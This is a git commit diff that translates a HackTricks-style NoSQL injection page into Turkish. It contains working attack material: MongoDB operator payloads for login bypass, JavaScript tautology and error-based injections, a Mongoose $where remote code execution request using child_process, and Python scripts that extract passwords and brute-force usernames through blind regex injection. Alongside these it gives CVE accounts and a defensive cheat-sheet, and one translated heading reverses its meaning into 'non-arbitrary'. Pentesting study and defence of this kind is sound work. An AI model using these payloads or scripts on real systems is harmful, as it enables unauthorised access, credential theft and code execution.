Translated ['src/pentesting-web/nosql-injection.md'] to tr

This commit is contained in:
Translator 2025-08-14 00:37:22 +00:00
parent 19fb7071c8
commit 0139f74cb3

View File

@ -4,7 +4,7 @@
## Exploit ## Exploit
PHP'de gönderilen parametreyi _parameter=foo_ yerine _parameter\[arrName]=foo_ olarak değiştirerek bir Dizi gönderebilirsiniz. PHP'de, gönderilen parametreyi _parameter=foo_ yerine _parameter[arrName]=foo_ olarak değiştirerek bir Dizi gönderebilirsiniz.
Sömürü, bir **Operator** eklemeye dayanmaktadır: Sömürü, bir **Operator** eklemeye dayanmaktadır:
```bash ```bash
@ -19,7 +19,7 @@ username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non
``` ```
### Temel kimlik doğrulama atlatma ### Temel kimlik doğrulama atlatma
**Eşit değil ($ne) veya daha büyük ($gt) kullanma** **Eşit değil ($ne) veya büyük ($gt) kullanma**
```bash ```bash
#in URL #in URL
username[$ne]=toto&password[$ne]=toto username[$ne]=toto&password[$ne]=toto
@ -35,7 +35,7 @@ username[$exists]=true&password[$exists]=true
```javascript ```javascript
query = { $where: `this.username == '${username}'` } query = { $where: `this.username == '${username}'` }
``` ```
Bir saldırgan, `admin' || 'a'=='a` gibi dizeleri girerek bunu istismar edebilir ve sorgunun, bir tautoloji ile koşulu sağlayarak tüm belgeleri döndürmesini sağlar (`'a'=='a'`). Bu, `' or 1=1-- -` gibi girdilerin SQL sorgularını manipüle etmek için kullanıldığı SQL enjeksiyon saldırılarına benzer. MongoDB'de, `' || 1==1//`, `' || 1==1%00` veya `admin' || 'a'=='a` gibi girdiler kullanılarak benzer enjeksiyonlar yapılabilir. Bir saldırgan, `admin' || 'a'=='a` gibi dizeleri girerek bunu istismar edebilir ve sorgunun, bir tautoloji ile koşulu sağlayarak tüm belgeleri döndürmesini sağlar (`'a'=='a'`). Bu, SQL sorgularını manipüle etmek için `' or 1=1-- -` gibi girdilerin kullanıldığı SQL enjeksiyon saldırılarına benzer. MongoDB'de, `' || 1==1//`, `' || 1==1%00` veya `admin' || 'a'=='a` gibi girdiler kullanılarak benzer enjeksiyonlar yapılabilir.
``` ```
Normal sql: ' or 1=1-- - Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
@ -76,9 +76,9 @@ in JSON
... ...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
``` ```
### PHP Rastgele Fonksiyon Çalıştırma ### PHP Keyfi Olmayan Fonksiyon İcraatı
Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) kütüphanesi, [bu raporda](https://swarm.ptsecurity.com/rce-cockpit-cms/) olduğu gibi rastgele bir fonksiyon çalıştırmak mümkün olabilir. Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) kütüphanesi aracılığıyla, [bu raporda](https://swarm.ptsecurity.com/rce-cockpit-cms/) olduğu gibi keyfi bir fonksiyonu icra etmek mümkün olabilir.
```python ```python
"user":{"$func": "var_dump"} "user":{"$func": "var_dump"}
``` ```
@ -88,7 +88,7 @@ Varsayılan olarak kullanılan **$func** operatörü ile [MongoLite](https://git
Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kullanmak mümkündür. Aşağıdaki örnekte, **`users`** adlı **farklı bir koleksiyondan** okuma yapıyoruz ve bir joker karakterle eşleşen şifreye sahip **tüm girişlerin sonuçlarını** alıyoruz. Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) kullanmak mümkündür. Aşağıdaki örnekte, **`users`** adlı **farklı bir koleksiyondan** okuma yapıyoruz ve bir joker karakterle eşleşen şifreye sahip **tüm girişlerin sonuçlarını** alıyoruz.
**NOT:** `$lookup` ve diğer toplama fonksiyonları, arama yapmak için `find()` veya `findOne()` fonksiyonları yerine `aggregate()` fonksiyonu kullanıldığında yalnızca mevcuttur. **NOT:** `$lookup` ve diğer toplama fonksiyonları, arama yapmak için `find()` veya `findOne()` fonksiyonları yerine `aggregate()` fonksiyonu kullanıldıysa yalnızca mevcuttur.
```json ```json
[ [
{ {
@ -110,11 +110,45 @@ Farklı bir koleksiyondan bilgi almak için [**$lookup**](https://www.mongodb.co
``` ```
### Hata Tabanlı Enjeksiyon ### Hata Tabanlı Enjeksiyon
`throw new Error(JSON.stringify(this))` ifadesini bir `$where` koşuluna enjekte ederek, sunucu tarafı JavaScript hataları aracılığıyla tam belgeleri dışa aktarın (uygulamanın veritabanı hatalarını sızdırması gerekir). Örnek: Inject `throw new Error(JSON.stringify(this))` bir `$where` ifadesine, sunucu tarafı JavaScript hataları aracılığıyla tam belgeleri dışa aktarmak için (uygulamanın veritabanı hatalarını sızdırması gerekir). Örnek:
```json ```json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
``` ```
## MongoDB Yükleri ## Son CVE'ler ve Gerçek Dünya Sömürmeleri (2023-2025)
### Rocket.Chat kimlik doğrulaması yapılmamış kör NoSQLi CVE-2023-28359
Versiyonlar ≤ 6.0.0, kullanıcı kontrolündeki **selector** nesnesini doğrudan `find()`'e ileten Meteor yöntemini `listEmojiCustom`ığa çıkardı. `{"$where":"sleep(2000)||true"}` gibi operatörler enjekte edilerek, kimlik doğrulaması yapılmamış bir saldırgan zamanlama oracle'ı oluşturabilir ve belgeleri dışarı sızdırabilirdi. Hata, 6.0.1'de selector şeklinin doğrulanması ve tehlikeli operatörlerin çıkarılmasıyla düzeltildi.
### Mongoose `populate().match` `$where` RCE CVE-2024-53900 & CVE-2025-23061
`populate()` `match` seçeneği ile kullanıldığında, Mongoose (≤ 8.8.2) nesneyi MongoDB'ye göndermeden *önce* kelimesi kelimesine kopyaladı. Bu nedenle `$where` sağlamak, sunucu tarafında JS devre dışı bırakılmış olsa bile JavaScript'i **Node.js içinde** çalıştırıyordu:
```js
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find()
.populate({ path: 'author', match: req.query.author }); // RCE
```
İlk yamanın (8.8.3) üst düzey `$where`'ı engellemesi, ancak bunu `$or` altında yerleştirmenin filtreyi aşmasına neden olması, CVE-2025-23061'e yol açtı. Sorun 8.9.5'te tamamen düzeltildi ve yeni bir bağlantı seçeneği `sanitizeFilter: true` tanıtıldı.
### GraphQL → Mongo filtre karışıklığı
`args.filter`'ı doğrudan `collection.find()`'a ileten çözücüler savunmasız kalmaya devam ediyor:
```graphql
query users($f:UserFilter){
users(filter:$f){ _id email }
}
# variables
{ "f": { "$ne": {} } }
```
Mitigations: `$` ile başlayan anahtarları özyinelemeli olarak kaldırın, izin verilen operatörleri açıkça haritalayın veya şema kütüphaneleri (Joi, Zod) ile doğrulayın.
## Defensive Cheat-Sheet (updated 2025)
1. `$` ile başlayan herhangi bir anahtarı kaldırın veya reddedin (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
2. Kendinize ait MongoDB'de sunucu tarafı JavaScript'i devre dışı bırakın (`--noscripting`, v7.0+ varsayılan).
3. `$where` yerine `$expr` ve toplama oluşturucularını tercih edin.
4. Veri türlerini erken doğrulayın (Joi/Ajv) ve skalarların beklendiği yerlerde dizilere izin vermeyin, `[$ne]` hilelerini önleyin.
5. GraphQL için, filtre argümanlarını bir izin listesi aracılığıyla çevirin; asla güvenilmeyen nesneleri yaymayın.
## MongoDB Payloads
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
``` ```
@ -182,7 +216,7 @@ if 'OK' in r.text:
print("Found one more char : %s" % (password+c)) print("Found one more char : %s" % (password+c))
password += c password += c
``` ```
### POST girişinden brute-force kullanıcı adları ve şifreleri ### Brute-force login kullanıcı adları ve şifreleri POST girişinden
Bu, değiştirebileceğiniz basit bir betiktir, ancak önceki araçlar da bu görevi yerine getirebilir. Bu, değiştirebileceğiniz basit bir betiktir, ancak önceki araçlar da bu görevi yerine getirebilir.
```python ```python
@ -193,6 +227,7 @@ url = "http://example.com"
headers = {"Host": "exmaple.com"} headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"} cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username): def get_password(username):
print("Extracting password of "+username) print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"} params = {"username":username, "password[$regex]":"", "login": "login"}
@ -225,9 +260,10 @@ for u in get_usernames(""):
get_password(u) get_password(u)
``` ```
## Araçlar ## Araçlar
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration) - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite) - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
## Referanslar ## Referanslar
@ -236,5 +272,7 @@ get_password(u)
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/) - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}